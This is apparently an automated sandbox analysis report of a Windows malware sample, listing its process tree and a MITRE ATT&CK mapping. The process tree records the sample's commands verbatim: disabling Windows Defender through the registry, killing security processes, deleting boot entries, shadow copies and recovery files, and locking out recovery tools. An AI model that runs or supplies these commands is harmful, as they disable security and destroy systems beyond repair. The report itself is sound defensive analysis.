    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5408,i,17528497686064306287,6578508160440857351,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:8
    3⤵
    PID:5208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5412,i,502768974159970024,11285607228807441577,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:8
    3⤵
    PID:5224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5488,i,2421613380358750467,8578457661126206179,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=5824 /prefetch:8
    3⤵
    PID:5280
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6288,i,5082719674903081319,17249387462770522367,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:8
    3⤵
    PID:5840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4624,i,5214505056690746338,16809082095176493288,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:8
    3⤵
    PID:5600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6236,i,13131964794442208592,12872397864406234971,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:8
    3⤵
    PID:5424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5044,i,997352274177081879,1039779687408138089,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=5104 /prefetch:8
    3⤵
    PID:1828
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5704,i,8962909064482923850,13982991570037009854,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:8
    3⤵
    PID:5892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
  2⤵
  PID:3392
- - C:\Windows\system32\reg.exe
    REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
    3⤵
    - Modifies registry key
    PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:4080
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:2312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:896
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:1500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:4808
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67_final.html
  2⤵
  PID:4580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  PID:5340
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    PID:6140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  PID:5160
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    PID:5692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4600
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5384
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:6048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:6040
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:2312
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:3020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:3184
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:6048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:2928
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:2376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:3020

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2564

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2cc 0x408
1⤵
PID:3692

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1044

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
PID:3560
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:60
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:4012
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5500
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  PID:2200
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:5852
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:4124
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:6064
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:6136
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:6004
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:1692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:5644
- C:\Windows\system32\cmd.exe
  cmd.exe /c reagentc /disable
  2⤵
  PID:3324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:1872
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:5360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:5324
- C:\Windows\system32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:5328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:5268
- C:\Windows\system32\cmd.exe
  cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:5596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:1928
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:5960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:3836
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:5200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:1576
- C:\Windows\system32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:5992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:3184
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:2544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:6048
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2928
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:3252
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:4780
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:5216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:4632
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:6124
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:3688
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:5428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:5936
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:1872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:5608
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:4392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:5264
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:5328
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:6116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:168
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:5596
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:1908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:5960
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:3836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:5200
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:1576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:5992
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:3184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:2544
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:6048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:2956
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:2928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:1856
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:3252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:5420
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:4780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:5216
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:4632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5380
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:6124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:456
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:3688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5428
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f 2>nul
  2⤵
  PID:1872
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f 2>nul
  2⤵
  PID:5608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard 2>nul
  2⤵
  PID:4392
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {default} bootmenupolicy standard 2>nul
  2⤵
  PID:5264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No 2>nul
  2⤵
  PID:5332
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No 2>nul
  2⤵
  PID:176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no 2>nul
  2⤵
  PID:4924
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no 2>nul
  2⤵
  PID:164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} timeout 0 2>nul
  2⤵
  PID:160
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {bootmgr} timeout 0 2>nul
  2⤵
  PID:4920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  PID:1928
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  PID:3248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  PID:3148
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4244
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:5992
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2544
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:6048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.wim" 2>nul
  2⤵
  PID:2452
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q "C:\sources\install.wim" 2>nul
  2⤵
  PID:5740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.esd" 2>nul
  2⤵
  PID:5720
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q "C:\sources\install.esd" 2>nul
  2⤵
  PID:2880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:2064
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q "C:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:2376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\$WinREAgent" 2>nul
  2⤵
  PID:2312
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q "C:\$WinREAgent" 2>nul
  2⤵
  PID:1480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:5292
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:5164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:3020
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:5760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:3324
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:6024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:5748
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:5324
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:5228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:5124
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:5328

C:\Windows\explorer.exe
explorer.exe ,"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
1⤵
PID:3332

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7aa2bb81937fdcdafd5d33143cfe61093f5233469b36757de171e12cc0c6215f
MD5 6503f091cfa7258a2190ed65490b1bdd
SHA1 d722a7fd3cd82ec30e4846b9511ec1c22b9dacfd
